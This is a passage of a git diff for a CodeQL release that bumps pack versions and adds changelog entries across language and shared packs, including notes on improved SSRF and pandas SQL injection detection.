b/go/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.1 +lastReleaseVersion: 1.3.0 diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index adaa22f4cbd5..8278ece9be56 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.2.2-dev +version: 1.3.0 groups: - go - queries diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md index 7391228e4836..1e624ba09133 100644 --- a/java/ql/lib/CHANGELOG.md +++ b/java/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 7.3.1 + +No user-facing changes. + ## 7.3.0 ### Deprecated APIs diff --git a/java/ql/lib/change-notes/released/7.3.1.md b/java/ql/lib/change-notes/released/7.3.1.md new file mode 100644 index 000000000000..2f2fe5472266 --- /dev/null +++ b/java/ql/lib/change-notes/released/7.3.1.md @@ -0,0 +1,3 @@ +## 7.3.1 + +No user-facing changes. diff --git a/java/ql/lib/codeql-pack.release.yml b/java/ql/lib/codeql-pack.release.yml index 2b9b871fffa7..43cb026b1392 100644 --- a/java/ql/lib/codeql-pack.release.yml +++ b/java/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 7.3.0 +lastReleaseVersion: 7.3.1 diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index c5780e1015e1..b8d73e706429 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.3.1-dev +version: 7.3.1 groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/CHANGELOG.md b/java/ql/src/CHANGELOG.md index fa038d728e6e..ca355f5e6848 100644 --- a/java/ql/src/CHANGELOG.md +++ b/java/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.5.2 + +No user-facing changes. + ## 1.5.1 ### Minor Analysis Improvements diff --git a/java/ql/src/change-notes/released/1.5.2.md b/java/ql/src/change-notes/released/1.5.2.md new file mode 100644 index 000000000000..384c27833f18 --- /dev/null +++ b/java/ql/src/change-notes/released/1.5.2.md @@ -0,0 +1,3 @@ +## 1.5.2 + +No user-facing changes. diff --git a/java/ql/src/codeql-pack.release.yml b/java/ql/src/codeql-pack.release.yml index c5775c46013c..7eb901bae56a 100644 --- a/java/ql/src/codeql-pack.release.yml +++ b/java/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.1 +lastReleaseVersion: 1.5.2 diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index bd64dd0d176c..4ea0bc399ca8 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.2-dev +version: 1.5.2 groups: - java - queries diff --git a/javascript/ql/lib/CHANGELOG.md b/javascript/ql/lib/CHANGELOG.md index 91b86700ed4e..0068a86fb4c4 100644 --- a/javascript/ql/lib/CHANGELOG.md +++ b/javascript/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 2.6.5 + +### Minor Analysis Improvements + +* Added taint flow through the `URL` constructor from the `url` package, improving the identification of SSRF vulnerabilities. + ## 2.6.4 ### Minor Analysis Improvements diff --git a/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md b/javascript/ql/lib/change-notes/released/2.6.5.md similarity index 74% rename from javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md rename to javascript/ql/lib/change-notes/released/2.6.5.md index f875f796415f..ae1137dbc08f 100644 --- a/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md +++ b/javascript/ql/lib/change-notes/released/2.6.5.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 2.6.5 + +### Minor Analysis Improvements + * Added taint flow through the `URL` constructor from the `url` package, improving the identification of SSRF vulnerabilities. diff --git a/javascript/ql/lib/codeql-pack.release.yml b/javascript/ql/lib/codeql-pack.release.yml index ac7556476954..b29c290895c1 100644 --- a/javascript/ql/lib/codeql-pack.release.yml +++ b/javascript/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.6.4 +lastReleaseVersion: 2.6.5 diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index dfead0f953df..c015b3679f16 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.5-dev +version: 2.6.5 groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/CHANGELOG.md b/javascript/ql/src/CHANGELOG.md index 95b3d48ac2f9..b6939ad5ec42 100644 --- a/javascript/ql/src/CHANGELOG.md +++ b/javascript/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.6.2 + +No user-facing changes. + ## 1.6.1 ### Minor Analysis Improvements diff --git a/javascript/ql/src/change-notes/released/1.6.2.md b/javascript/ql/src/change-notes/released/1.6.2.md new file mode 100644 index 000000000000..bbe3747556fb --- /dev/null +++ b/javascript/ql/src/change-notes/released/1.6.2.md @@ -0,0 +1,3 @@ +## 1.6.2 + +No user-facing changes. diff --git a/javascript/ql/src/codeql-pack.release.yml b/javascript/ql/src/codeql-pack.release.yml index ef7a789e0cf1..5f5beb68311a 100644 --- a/javascript/ql/src/codeql-pack.release.yml +++ b/javascript/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.6.1 +lastReleaseVersion: 1.6.2 diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 2fb51f3e092e..6fff98f1f34d 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.2-dev +version: 1.6.2 groups: - javascript - queries diff --git a/misc/suite-helpers/CHANGELOG.md b/misc/suite-helpers/CHANGELOG.md index 1959582a1716..534af5668523 100644 --- a/misc/suite-helpers/CHANGELOG.md +++ b/misc/suite-helpers/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/misc/suite-helpers/change-notes/released/1.0.25.md b/misc/suite-helpers/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/misc/suite-helpers/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/misc/suite-helpers/codeql-pack.release.yml b/misc/suite-helpers/codeql-pack.release.yml index d08329a98fc8..a5a44030e851 100644 --- a/misc/suite-helpers/codeql-pack.release.yml +++ b/misc/suite-helpers/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index d38442ce1fd6..3ee266732fb6 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.25-dev +version: 1.0.25 groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/CHANGELOG.md b/python/ql/lib/CHANGELOG.md index 36d7cdbcc2fc..09dc9d983a81 100644 --- a/python/ql/lib/CHANGELOG.md +++ b/python/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 4.0.9 + +No user-facing changes. + ## 4.0.8 ### Minor Analysis Improvements diff --git a/python/ql/lib/change-notes/released/4.0.9.md b/python/ql/lib/change-notes/released/4.0.9.md new file mode 100644 index 000000000000..4effa5d04804 --- /dev/null +++ b/python/ql/lib/change-notes/released/4.0.9.md @@ -0,0 +1,3 @@ +## 4.0.9 + +No user-facing changes. diff --git a/python/ql/lib/codeql-pack.release.yml b/python/ql/lib/codeql-pack.release.yml index 36a2330377d9..25b75788f994 100644 --- a/python/ql/lib/codeql-pack.release.yml +++ b/python/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.0.8 +lastReleaseVersion: 4.0.9 diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index ce0240ccb884..4b1d284def3b 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.9-dev +version: 4.0.9 groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/CHANGELOG.md b/python/ql/src/CHANGELOG.md index a65d9f846414..292fda17c908 100644 --- a/python/ql/src/CHANGELOG.md +++ b/python/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.5.2 + +### Minor Analysis Improvements + +* Added SQL injection models from the `pandas` PyPI package. + ## 1.5.1 ### Minor Analysis Improvements diff --git a/python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md b/python/ql/src/change-notes/released/1.5.2.md similarity index 58% rename from python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md rename to python/ql/src/change-notes/released/1.5.2.md index a230dcc63ec3..813448ef447a 100644 --- a/python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md +++ b/python/ql/src/change-notes/released/1.5.2.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.5.2 + +### Minor Analysis Improvements + * Added SQL injection models from the `pandas` PyPI package. diff --git a/python/ql/src/codeql-pack.release.yml b/python/ql/src/codeql-pack.release.yml index c5775c46013c..7eb901bae56a 100644 --- a/python/ql/src/codeql-pack.release.yml +++ b/python/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.1 +lastReleaseVersion: 1.5.2 diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 98db7d0387e3..54dfe59df779 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.2-dev +version: 1.5.2 groups: - python - queries diff --git a/ruby/ql/lib/CHANGELOG.md b/ruby/ql/lib/CHANGELOG.md index f637009e8a18..cdd84b3aeeb6 100644 --- a/ruby/ql/lib/CHANGELOG.md +++ b/ruby/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 4.1.8 + +No user-facing changes. + ## 4.1.7 ### Minor Analysis Improvements diff --git a/ruby/ql/lib/change-notes/released/4.1.8.md b/ruby/ql/lib/change-notes/released/4.1.8.md new file mode 100644 index 000000000000..4c398b390784 --- /dev/null +++ b/ruby/ql/lib/change-notes/released/4.1.8.md @@ -0,0 +1,3 @@ +## 4.1.8 + +No user-facing changes. diff --git a/ruby/ql/lib/codeql-pack.release.yml b/ruby/ql/lib/codeql-pack.release.yml index 6a89491cdb81..8636017292cf 100644 --- a/ruby/ql/lib/codeql-pack.release.yml +++ b/ruby/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.1.7 +lastReleaseVersion: 4.1.8 diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index 430cc1e2fc3d..1ed20c1ddcfd 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.8-dev +version: 4.1.8 groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/CHANGELOG.md b/ruby/ql/src/CHANGELOG.md index 3bf0a2d63120..fcee47275f5b 100644 --- a/ruby/ql/src/CHANGELOG.md +++ b/ruby/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.3.2 + +No user-facing changes. + ## 1.3.1 ### Minor Analysis Improvements diff --git a/ruby/ql/src/change-notes/released/1.3.2.md b/ruby/ql/src/change-notes/released/1.3.2.md new file mode 100644 index 000000000000..14f14807ef51 --- /dev/null +++ b/ruby/ql/src/change-notes/released/1.3.2.md @@ -0,0 +1,3 @@ +## 1.3.2 + +No user-facing changes. diff --git a/ruby/ql/src/codeql-pack.release.yml b/ruby/ql/src/codeql-pack.release.yml index e71b6d081f15..86a9cb32d86b 100644 --- a/ruby/ql/src/codeql-pack.release.yml +++ b/ruby/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.3.1 +lastReleaseVersion: 1.3.2 diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index f6b5e50f8fce..d3963ed7ea47 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.2-dev +version: 1.3.2 groups: - ruby - queries diff --git a/rust/ql/lib/CHANGELOG.md b/rust/ql/lib/CHANGELOG.md index f37d7ac4bae7..85c29db05c19 100644 --- a/rust/ql/lib/CHANGELOG.md +++ b/rust/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.10 + +No user-facing changes. + ## 0.1.9 No user-facing changes. diff --git a/rust/ql/lib/change-notes/released/0.1.10.md b/rust/ql/lib/change-notes/released/0.1.10.md new file mode 100644 index 000000000000..47358eeee934 --- /dev/null +++ b/rust/ql/lib/change-notes/released/0.1.10.md @@ -0,0 +1,3 @@ +## 0.1.10 + +No user-facing changes. diff --git a/rust/ql/lib/codeql-pack.release.yml b/rust/ql/lib/codeql-pack.release.yml index 1425c0edf7f8..30f5ca88be0e 100644 --- a/rust/ql/lib/codeql-pack.release.yml +++ b/rust/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.9 +lastReleaseVersion: 0.1.10 diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index ff0621bad838..246c9948c50b 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.10-dev +version: 0.1.10 groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/CHANGELOG.md b/rust/ql/src/CHANGELOG.md index 8b870ea5f99d..1459910b5eef 100644 --- a/rust/ql/src/CHANGELOG.md +++ b/rust/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.10 + +No user-facing changes. + ## 0.1.9 No user-facing changes. diff --git a/rust/ql/src/change-notes/released/0.1.10.md b/rust/ql/src/change-notes/released/0.1.10.md new file mode 100644 index 000000000000..47358eeee934 --- /dev/null +++ b/rust/ql/src/change-notes/released/0.1.10.md @@ -0,0 +1,3 @@ +## 0.1.10 + +No user-facing changes. diff --git a/rust/ql/src/codeql-pack.release.yml b/rust/ql/src/codeql-pack.release.yml index 1425c0edf7f8..30f5ca88be0e 100644 --- a/rust/ql/src/codeql-pack.release.yml +++ b/rust/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.9 +lastReleaseVersion: 0.1.10 diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index fcda5b64ede2..813da756c7bd 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.10-dev +version: 0.1.10 groups: - rust - queries diff --git a/shared/controlflow/CHANGELOG.md b/shared/controlflow/CHANGELOG.md index 8748a58b0c45..a9641b2d087d 100644 --- a/shared/controlflow/CHANGELOG.md +++ b/shared/controlflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.9 + +No user-facing changes. + ## 2.0.8 No user-facing changes. diff --git a/shared/controlflow/change-notes/released/2.0.9.md b/shared/controlflow/change-notes/released/2.0.9.md new file mode 100644 index 000000000000..b89eb98bbd9d --- /dev/null +++ b/shared/controlflow/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/controlflow/codeql-pack.release.yml b/shared/controlflow/codeql-pack.release.yml index 7ffb2d9f65be..ce305265e337 100644 --- a/shared/controlflow/codeql-pack.release.yml +++ b/shared/controlflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.8 +lastReleaseVersion: 2.0.9 diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 0ef979239001..08958db7e3e9 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.9-dev +version: 2.0.9 groups: shared library: true dependencies: diff --git a/shared/dataflow/CHANGELOG.md b/shared/dataflow/CHANGELOG.md index 2fe45acb03cc..10cb758f6ea9 100644 --- a/shared/dataflow/CHANGELOG.md +++ b/shared/dataflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.9 + +No user-facing changes. + ## 2.0.8 No user-facing changes. diff --git a/shared/dataflow/change-notes/released/2.0.9.md b/shared/dataflow/change-notes/released/2.0.9.md new file mode 100644 index 000000000000..b89eb98bbd9d --- /dev/null +++ b/shared/dataflow/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/dataflow/codeql-pack.release.yml b/shared/dataflow/codeql-pack.release.yml index 7ffb2d9f65be..ce305265e337 100644 --- a/shared/dataflow/codeql-pack.release.yml +++ b/shared/dataflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.8 +lastReleaseVersion: 2.0.9 diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 6b6f61cd2393..6629d0eb19bd 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.9-dev +version: 2.0.9 groups: shared library: true dependencies: diff --git a/shared/mad/CHANGELOG.md b/shared/mad/CHANGELOG.md index 3c432d1383f7..ac6be6596f73 100644 --- a/shared/mad/CHANGELOG.md +++ b/shared/mad/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/mad/change-notes/released/1.0.25.md b/shared/mad/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/mad/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/mad/codeql-pack.release.yml b/shared/mad/codeql-pack.release.yml index d08329a98fc8..a5a44030e851 100644 --- a/shared/mad/codeql-pack.release.yml +++ b/shared/mad/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index 2b40a4719fcd..508a599359ff 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/quantum/CHANGELOG.md b/shared/quantum/CHANGELOG.md index 7668a5ba39d5..d7831747b120 100644 --- a/shared/quantum/CHANGELOG.md +++ b/shared/quantum/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.0.3 + +No user-facing changes. + ## 0.0.2 No user-facing changes. diff --git a/shared/quantum/change-notes/released/0.0.3.md b/shared/quantum/change-notes/released/0.0.3.md new file mode 100644 index 000000000000..af7864fc7d54 --- /dev/null +++ b/shared/quantum/change-notes/released/0.0.3.md @@ -0,0 +1,3 @@ +## 0.0.3 + +No user-facing changes. diff --git a/shared/quantum/codeql-pack.release.yml b/shared/quantum/codeql-pack.release.yml index 55dc06fbd76a..a24b693d1e7a 100644 --- a/shared/quantum/codeql-pack.release.yml +++ b/shared/quantum/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.2 +lastReleaseVersion: 0.0.3 diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index 4f0b77598691..ed8f11bc6486 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.3-dev +version: 0.0.3 groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/CHANGELOG.md b/shared/rangeanalysis/CHANGELOG.md index 5716e3329200..c06e99c5f7fe 100644 --- a/shared/rangeanalysis/CHANGELOG.md +++ b/shared/rangeanalysis/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/rangeanalysis/change-notes/released/1.0.25.md b/shared/rangeanalysis/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/rangeanalysis/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/rangeanalysis/codeql-pack.release.yml b/shared/rangeanalysis/codeql-pack.release.yml index d08329a98fc8..a5a44030e851 100644 --- a/shared/rangeanalysis/codeql-pack.release.yml +++ b/shared/rangeanalysis/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index 10f6a89e9562..e45001c1cd02 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/regex/CHANGELOG.md b/shared/regex/CHANGELOG.md index 36cbdcef2abc..1a63aa6e43ad 100644 --- a/shared/regex/CHANGELOG.md +++ b/shared/regex/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/regex/change-notes/released/1.0.25.md b/shared/regex/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/regex/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/regex/codeql-pack.release.yml b/shared/regex/codeql-pack.release.yml index d08329a98fc8..a5a44030e851 100644 --- a/shared/regex/codeql-pack.release.yml +++ b/shared/regex/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 66614e15d12b..ea61f121ef40 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/ssa/CHANGELOG.md b/shared/ssa/CHANGELOG.md index 85891c547617..fff1d5b89e2a 100644 --- a/shared/ssa/CHANGELOG.md +++ b/shared/ssa/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.1 + +No user-facing changes. + ## 2.0.0 ### Breaking Changes diff --git a/shared/ssa/change-notes/released/2.0.1.md b/shared/ssa/change-notes/released/2.0.1.md new file mode 100644 index 000000000000..b5b6d0dee915 --- /dev/null +++ b/shared/ssa/change-notes/released/2.0.1.md @@ -0,0 +1,3 @@ +## 2.0.1 + +No user-facing changes. diff --git a/shared/ssa/codeql-pack.release.yml b/shared/ssa/codeql-pack.release.yml index 0abe6ccede0f..fe974a4dbf37 100644 --- a/shared/ssa/codeql-pack.release.yml +++ b/shared/ssa/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.0 +lastReleaseVersion: 2.0.1 diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index 6b5972aabb07..586a23e5dbbe 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 2.0.1-dev +version: 2.0.1 groups: shared library: true dependencies: diff --git a/shared/threat-models/CHANGELOG.md b/shared/threat-models/CHANGELOG.md index a684ef060a5c..3fa1fa4c69be 100644 --- a/shared/threat-models/CHANGELOG.md +++ b/shared/threat-models/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/threat-models/change-notes/released/1.0.25.md b/shared/threat-models/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/threat-models/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/threat-models/codeql-pack.release.yml b/shared/threat-models/codeql-pack.release.yml index d08329a98fc8..a5a44030e851 100644 --- a/shared/threat-models/codeql-pack.release.yml +++ b/shared/threat-models/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index a1a2ee0a7f28..2ce914671fc2 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.25-dev +version: 1.0.25 library: true groups: shared dataExtensions: diff --git a/shared/tutorial/CHANGELOG.md b/shared/tutorial/CHANGELOG.md index b0f9b01001b6..a5290f62bb31 100644 --- a/shared/tutorial/CHANGELOG.md +++ b/shared/tutorial/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/tutorial/change-notes/released/1.0.25.md b/shared/tutorial/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/tutorial/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/tutorial/codeql-pack.release.yml b/shared/tutorial/codeql-pack.release.yml index d08329a98fc8..a5a44030e851 100644 --- a/shared/tutorial/codeql-pack.release.yml +++ b/shared/tutorial/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index d003a55f26ec..5e8d7d64ca5d 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/CHANGELOG.md b/shared/typeflow/CHANGELOG.md index 7f8c43e4544f..2283f741ca7f 100644 --- a/shared/typeflow/CHANGELOG.md +++ b/shared/typeflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/typeflow/change-notes/released/1.0.25.md b/shared/typeflow/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/typeflow/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/typeflow/codeql-pack.release.yml b/shared/typeflow/codeql-pack.release.yml index d08329a98fc8..a5a44030e851 100644 --- a/shared/typeflow/codeql-pack.release.yml +++ b/shared/typeflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index a9162922bde2..a95abb9ac22e 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/typeinference/CHANGELOG.md b/shared/typeinference/CHANGELOG.md index 9b269441c000..ad2e63eb4709 100644 --- a/shared/typeinference/CHANGELOG.md +++ b/shared/typeinference/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.0.6 + +No user-facing changes. + ## 0.0.5 No user-facing changes. diff --git a/shared/typeinference/change-notes/released/0.0.6.md b/shared/typeinference/change-notes/released/0.0.6.md new file mode 100644 index 000000000000..ccbce856079d --- /dev/null +++ b/shared/typeinference/change-notes/released/0.0.6.md @@ -0,0 +1,3 @@ +## 0.0.6 + +No user-facing changes. diff --git a/shared/typeinference/codeql-pack.release.yml b/shared/typeinference/codeql-pack.release.yml index bb45a1ab0182..cf398ce02aa4 100644 --- a/shared/typeinference/codeql-pack.release.yml +++ b/shared/typeinference/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.5 +lastReleaseVersion: 0.0.6 diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index 459a6a4a172f..d0c83854b67b 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.6-dev +version: 0.0.6 groups: shared library: true dependencies: diff --git a/shared/typetracking/CHANGELOG.md b/shared/typetracking/CHANGELOG.md index 731844b4af36..6e434da1f774 100644 --- a/shared/typetracking/CHANGELOG.md +++ b/shared/typetracking/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.9 + +No user-facing changes. + ## 2.0.8 No user-facing changes. diff --git 